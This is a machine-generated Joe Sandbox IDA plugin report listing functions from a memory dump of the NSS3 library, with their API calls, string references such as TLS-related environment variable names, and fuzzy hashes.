PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C50FFC6

Part of subcall function 6C5898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C589946
Part of subcall function 6C5898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4416B7,00000000), ref: 6C58994E
Part of subcall function 6C5898D0: free.MOZGLUE(00000000), ref: 6C58995E

PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C50FFD6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C50FFE6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C50FFF6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510006
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510016
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510026
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510036
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510046
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510056
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510066
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510076
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510086
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C510096
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C5100A6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C5100B6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C5100C6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C5100D6
PR_NewLock.NSS3(?,?,6C5076C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C4D75C2,00000000), ref: 6C5100E6

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 38b48fd63a44e2dcf15b1f9805298900d2bf576f3a046743371965252f76b636
Instruction ID: 8099e268f4600b845f61ba3a4afe3b4d03d512acd20276437c0126e486c6f4de
Opcode Fuzzy Hash: 38b48fd63a44e2dcf15b1f9805298900d2bf576f3a046743371965252f76b636
Instruction Fuzzy Hash: 8F3146F0E22626DE8B49DF27C9C81993BB4BF96A28F90411AD10587700D77C164ACFDE

Function 6C556E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C556BF7), ref: 6C556EB6

Part of subcall function 6C4B1240: TlsGetValue.KERNEL32(00000040,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1267
Part of subcall function 6C4B1240: EnterCriticalSection.KERNEL32(?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B127C
Part of subcall function 6C4B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1291
Part of subcall function 6C4B1240: PR_Unlock.NSS3(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C5FFC0A,6C556BF7), ref: 6C556ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C556EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C556EFC
PR_NewLock.NSS3 ref: 6C556F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C556F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C556BF7), ref: 6C556F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C556BF7), ref: 6C556F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C556BF7), ref: 6C556FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C556BF7), ref: 6C556FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C556FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C556F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C556FF8
SSLFORCELOCKS, xrefs: 6C556F2B
SSLKEYLOGFILE, xrefs: 6C556EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C556EF7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: cd1ebb4ef3dda45265e32c565f8fc61e0eb527b5994d93ec0e9434a4049ef388
Instruction ID: e6f273819ee3eca15eee8416c6e28cca377e5b30295d264be672012ecc8728ff
Opcode Fuzzy Hash: cd1ebb4ef3dda45265e32c565f8fc61e0eb527b5994d93ec0e9434a4049ef388
Instruction Fuzzy Hash: 77A13B72F669808BE710863DCC5174832E1AB9337AF988B67E831C7FD5DB39A4608645

Function 6C4D5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4D5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C4D5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C4D5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C4D5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C4D5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C4D5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C4D5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C4D5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C4D5F89
free.MOZGLUE(?), ref: 6C4D5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4D5FB6
free.MOZGLUE(00000000), ref: 6C4D5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4D6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4D6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4D6094

Strings

, xrefs: 6C4D5EEB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: a485df2d9bd74f39c085266363f41dd09d6be2735740a53e8fab395735d1d1e1
Instruction ID: 15dcef9e4bc61f80896411dae2e46c31e61f0d4867cec7fc51b73027e49d48f4
Opcode Fuzzy Hash: a485df2d9bd74f39c085266363f41dd09d6be2735740a53e8fab395735d1d1e1
Instruction Fuzzy Hash: C481C6B1E002059BDB10EF68CC95F9E77B5EF44319F164529E819ABB51EB31B804CBD2

Function 6C4AB860 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C4AB45E,?,?,?,?,?,?,?,?), ref: 6C4AB87D
TlsGetValue.KERNEL32 ref: 6C4AB8FE
EnterCriticalSection.KERNEL32(?), ref: 6C4AB912
TlsGetValue.KERNEL32 ref: 6C4AB959
_PR_MD_UNLOCK.NSS3(?), ref: 6C4AB977
calloc.MOZGLUE(00000001,0000002C), ref: 6C4AB983
PR_NewCondVar.NSS3 ref: 6C4AB9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C4ABA54
GetLastError.KERNEL32 ref: 6C4ABA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C4ABA77
DeleteCriticalSection.KERNEL32(?), ref: 6C4ABA96
free.MOZGLUE(?), ref: 6C4ABA9D
free.MOZGLUE(?), ref: 6C4ABAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C4ABACD
free.MOZGLUE(00000000), ref: 6C4ABAD4

Strings

X bl, xrefs: 6C4AB93C
T bl, xrefs: 6C4ABA0C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID: T bl$X bl
API String ID: 1841981668-1118058576
Opcode ID: c55e8c80faa4b7d4308e26874a237f10ba9a41e7813e82d3f6888d870f9ec679
Instruction ID: 890742ed54a0f56c9ca7bf7e506fb5b6b8dabb8f82619a7404a1cf9ce3f8cfef
Opcode Fuzzy Hash: c55e8c80faa4b7d4308e26874a237f10ba9a41e7813e82d3f6888d870f9ec679
Instruction Fuzzy Hash: D651DFB0A003059FEB10DF6ACC85F5ABBF4BF15309F104529E85AD2B41EB31E456CB95

Function 6C4D38C0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE028,00000000,?), ref: 6C4D38F2
SECKEY_ECParamsToBasePointOrderLen.NSS3(-00000010,?,?,?,?,?), ref: 6C4D3902
SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6C4D3AB0
SECITEM_CopyItem_Util.NSS3(00000000,00000038,?), ref: 6C4D3AEA
SECITEM_CopyItem_Util.NSS3(00000000,00000014,00000000), ref: 6C4D3B03
SECITEM_CopyItem_Util.NSS3(00000000,00000020,?), ref: 6C4D3B1C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C4D3B40
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C4D3B70
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C4D3B88
PR_CallOnce.NSS3(6C622AA4,6C5212D0), ref: 6C4D3B9D
PL_FreeArenaPool.NSS3(?), ref: 6C4D3BB2
PL_FinishArenaPool.NSS3(?), ref: 6C4D3BBD
SECITEM_CopyItem_Util.NSS3(00000000,00000010,?), ref: 6C4D3BD4
SECITEM_CopyItem_Util.NSS3(00000000,-00000020,o^Ml), ref: 6C4D3BF2
PK11_DestroyObject.NSS3(?,?), ref: 6C4D3C1B
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4D3C40

Strings

o^Ml, xrefs: 6C4D3BEF
security, xrefs: 6C4D3B6A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Item_$Copy$ArenaPool$ErrorFree$Arena_BaseCallDecodeDestroyFinishInitK11_ObjectOnceOrderParamsPointQuick
String ID: o^Ml$security
API String ID: 3293387093-1511959018
Opcode ID: 722f4b42412ad009bde2de40593e52c41fb9bbd9537b1959cbff20d337008c52
Instruction ID: 248b27111f25dccaad5955b07466df881007d967b9589fb90d6b7b8a49d90c8e
Opcode Fuzzy Hash: 722f4b42412ad009bde2de40593e52c41fb9bbd9537b1959cbff20d337008c52
Instruction Fuzzy Hash: FE51D4B2900204ABEB10EF65EC91FAB37B8AB5420DF050529EC46D7B52F725FA09C761

Function 6C52E8C0 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6C52E853,?,FFFFFFFF,?,?,6C52B0CC,?,6C52B4A0,?,00000000), ref: 6C52E8D9

Part of subcall function 6C520D30: calloc.MOZGLUE ref: 6C520D50
Part of subcall function 6C520D30: TlsGetValue.KERNEL32 ref: 6C520D6D

Part of subcall function 6C52C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C52DAE2,?), ref: 6C52C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6C52E972
PORT_ArenaMark_Util.NSS3(?), ref: 6C52E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C52EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C52EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C52EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C52EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6C52EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C52EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6C52EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6C52EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6C52EBEC
free.MOZGLUE(00000000), ref: 6C52EC58

Strings

SRl, xrefs: 6C52E9CA, 6C52EAAB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID: SRl
API String ID: 759478663-3577916126
Opcode ID: 6e0a61b3948c8cd7972fba2bec644806cd638be68b7081a2df706a2827ee95ca
Instruction ID: 10ab862b68c78ee33549d1a4d229978c9d6c7ba34a9ef27c6dc7ba949bafbf01
Opcode Fuzzy Hash: 6e0a61b3948c8cd7972fba2bec644806cd638be68b7081a2df706a2827ee95ca
Instruction Fuzzy Hash: 41C180B1E012059BEB04CFA9DC84BAA77F4AF59309F140469E906A7B91E779EC04CBD1

Function 6C4BF850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C4BF86F

Part of subcall function 6C56C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C56C2BF

PR_smprintf.NSS3(%lu,?), ref: 6C4BF899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C4BFA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C4BFAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C4BFAB6
free.MOZGLUE(00000000), ref: 6C4BFAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C4BFAD3
__aulldiv.LIBCMT ref: 6C4BFB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C4BFB4B

Strings

%s.%lu, xrefs: 6C4BFA49
OID.UNSUPPORTED, xrefs: 6C4BFACE
%s.%llu, xrefs: 6C4BFA9D
%s.UNSUPPORTED, xrefs: 6C4BFAB1
OID.%llu.%llu, xrefs: 6C4BFB46
OID.%lu.%lu, xrefs: 6C4BFA7D

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: c2dbb802dcbf8371f282e097f2cc1a960a07f396915f06486480fa174192ceca
Instruction ID: 67a794fd3d1d9cf20ad4d9ecc2b8bc5c6666e120910f9b3186dffe4ccdf1e875
Opcode Fuzzy Hash: c2dbb802dcbf8371f282e097f2cc1a960a07f396915f06486480fa174192ceca
Instruction Fuzzy Hash: F7816E7DE120314BFB0CCB6D8C55F7EBBA29BC9305F184169E869EBB45D670880687B1

Function 6C4ED8F0 Relevance: 27.4, APIs: 18, Instructions: 354COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000010,00000054,?,00000008,00000054,00000000), ref: 6C4EDA45
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDA59
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDA89
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDA9D
TlsGetValue.KERNEL32 ref: 6C4EDB0A
EnterCriticalSection.KERNEL32(?), ref: 6C4EDB1E
TlsGetValue.KERNEL32 ref: 6C4EDB43
EnterCriticalSection.KERNEL32(?), ref: 6C4EDB57
TlsGetValue.KERNEL32(00000000,?,6C4ED06D), ref: 6C4EDB7C
EnterCriticalSection.KERNEL32(?,?,6C4ED06D), ref: 6C4EDB90
PR_Unlock.NSS3(?), ref: 6C4EDBBD
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDC21
PR_SetError.NSS3(00000000,00000000,?,?,?,?), ref: 6C4EDC39
PK11_DoesMechanism.NSS3(?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDC64
TlsGetValue.KERNEL32(?,?,?,00000000,?,6C4ED06D), ref: 6C4EDC84
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDC98
PK11_DoesMechanism.NSS3(?,CE53436C,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDCE6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C4ED06D), ref: 6C4EDD01

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$DoesK11_Mechanism$Error
String ID:
API String ID: 3890939128-0
Opcode ID: 1bc99ec937c6344f1101a8a61f87836e13dea25f139fa7745f2f373b824f92b2
Instruction ID: 44c8b786cf1d58ddecbf407d68145569932e487e4fa3d2127b8012deacde6bff
Opcode Fuzzy Hash: 1bc99ec937c6344f1101a8a61f87836e13dea25f139fa7745f2f373b824f92b2
Instruction Fuzzy Hash: 03E1CB74600600CFD710EF29C885F66BBB1FF8931AF128969D95687B61E771F985CB80

Function 6C5528C0 Relevance: 27.2, APIs: 18, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 6C555B40: PR_GetIdentitiesLayer.NSS3 ref: 6C555B56

TlsGetValue.KERNEL32 ref: 6C55290A
EnterCriticalSection.KERNEL32(00000001), ref: 6C55291E
TlsGetValue.KERNEL32 ref: 6C552937
EnterCriticalSection.KERNEL32(00000001), ref: 6C55294B
PR_EnterMonitor.NSS3(?), ref: 6C552966
PR_EnterMonitor.NSS3(?), ref: 6C5529AC
PR_ExitMonitor.NSS3(?), ref: 6C5529D1
PR_EnterMonitor.NSS3(?), ref: 6C5529F0
PR_EnterMonitor.NSS3(?), ref: 6C552A15
PR_EnterMonitor.NSS3(?), ref: 6C552A37
PR_ExitMonitor.NSS3(?), ref: 6C552A61
PR_ExitMonitor.NSS3(?), ref: 6C552A78
PR_ExitMonitor.NSS3(?), ref: 6C552A8F
PR_ExitMonitor.NSS3(?), ref: 6C552AA6

Part of subcall function 6C589440: TlsGetValue.KERNEL32 ref: 6C58945B
Part of subcall function 6C589440: TlsGetValue.KERNEL32 ref: 6C589479
Part of subcall function 6C589440: EnterCriticalSection.KERNEL32 ref: 6C589495
Part of subcall function 6C589440: TlsGetValue.KERNEL32 ref: 6C5894E4
Part of subcall function 6C589440: TlsGetValue.KERNEL32 ref: 6C589532
Part of subcall function 6C589440: LeaveCriticalSection.KERNEL32 ref: 6C58955D

PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C552AF9
free.MOZGLUE(?), ref: 6C552B16
PR_Unlock.NSS3(?), ref: 6C552B6D
PR_Unlock.NSS3(?), ref: 6C552B80

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: 46a11382326d7b2ee19a338174638776f4787c031b3f31d6c2d2440b25a6ad2a
Instruction ID: 60ced637e8d02047ff9e7b447729359be14d32407b1ccfa727cd435de5ca1da4
Opcode Fuzzy Hash: 46a11382326d7b2ee19a338174638776f4787c031b3f31d6c2d2440b25a6ad2a
Instruction Fuzzy Hash: 4681E4B5A007019BEB20DF39EC45B97B7F5AF45318F444929D85AC7B11EB32E928CB81

Function 6C5D9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C5D9C70
PR_NewLock.NSS3 ref: 6C5D9C85

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PR_NewCondVar.NSS3(00000000), ref: 6C5D9C96

